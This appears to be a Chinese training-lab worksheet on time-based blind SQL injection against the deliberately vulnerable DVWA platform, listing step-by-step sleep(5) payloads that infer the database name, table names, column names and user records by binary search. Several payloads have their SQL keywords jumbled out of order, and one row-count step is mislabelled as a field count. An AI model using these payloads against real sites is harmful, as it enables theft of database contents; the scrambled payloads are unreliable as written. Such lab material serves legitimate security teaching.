实训 SQL注入(时间盲注)1
一、实训目的
1. 了解SQL注入的常用方式 2. 掌握SQL时间盲注的方法
二、实训环境
1. DVWA平台
2. Firefox浏览器(谷歌浏览器)
三、实训内容
1. 配置DVWA平台
进入DVWA平台,选择DVWA Security,将安全级别设置为Low。 2. 测试SQL注入点
(1)点击SQL Injection(Blind),进入测试页面。
(2)使用参数1' and sleep(5) #进行提交,页面明显延迟。使用参数1 and sleep(5) #进行提交,页面没有延迟。说明是基于字符的时间盲注。
(3)猜解数据库名的长度。具体命令如下:
• 1' and if(length(database())=1,sleep(5),1) # //没有延迟 • …………
• 1' and if(length(database())=4,sleep(5),1) # //明显延迟 (4)二分法猜解数据库名。具体命令如下:
• 1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# //明显延迟 • ……
• 1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# //没有延迟
• 1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# //没有延迟
修改substr函数的第二个参数,如substr(database(),2,1)进行测试,可以获得数据库的第二个字母。
(5)猜解数据库表的数量。具体命令如下:
• 1'
and
if((select
count(table_name)
from where
information_schema.tables
table_schema=database() )=1,sleep(5),1)# //没有延迟 • 1'
and
if((select
count(table_name)
from where
information_schema.tables
table_schema=database() )=2,sleep(5),1)# //明显延迟
(6)猜解数据库表名的长度。具体命令格式如下:
• 1'
and
if(length(substr((select
table_name
from
information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # //没有延迟 • …
• 1' and if(length(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # //明显延迟
(7)猜解数据库表的名称。具体命令格式如下:
• 1'
and
if(ascii(substr((select
table_name
from
information_schema.tables where table_schema=database() limit 0,1),1,1))>103,sleep(5),1) # //没有延迟 • 1'
and
if(ascii(substr((select
table_name
from
information_schema.tables where table_schema=database() limit 0,1),1,1))<103,sleep(5),1) # //没有延迟 重复上述步骤,猜解出两个表名。
(8)猜解数据库表中的字段长度。具体命令格式如下:
• 1'
and
if((select
count(column_name)
where
from
information_schema.columns table_name=
'users')=1,sleep(5),1)# //没有延迟 • …… • 1'
and
if((select
count(column_name)
where
from
information_schema.columns table_name=
'users')=8,sleep(5),1)# // 明显延迟
(9)猜解数据库表中的字段名称。具体命令格式如下:
• 1' and if(ascii(substr((select column_name from
information_schema.columns where table_name= 'users' limit 0,1),1,1))>117,sleep(5),1) # //没有延迟 • 1'
and
if(ascii(substr((select
column_name
from
information_schema.columns where table_name= 'users' limit 0,1),1,1))<117,sleep(5),1) # //没有延迟
(10)猜解表中的数据。具体命令格式如下:
• 1' and if((select count(first_name) from users)=5,sleep(5),1) # //明显延迟 users表中的字段数为5。
猜测每条记录的长度。说明first_name的第一个值得长度为5个字符。 • 1' and if(length(substr((select first_name from users limit 0,1),1))=5,sleep(5),1) # //明显延迟
(11)二分法猜解表中的数据。具体命令格式如下:
• 1' and if(ascii(substr((select first_name from users limit 0,1),1,1))>97,sleep(5),1) # //没有延迟
• 1' and if(ascii(substr((select first_name from users limit 0,1),1,1))<97,sleep(5),1) # //没有延迟
3. 将操作过程截图,整理文档后上传平台。
因篇幅问题不能全部显示,请点此查看更多更全内容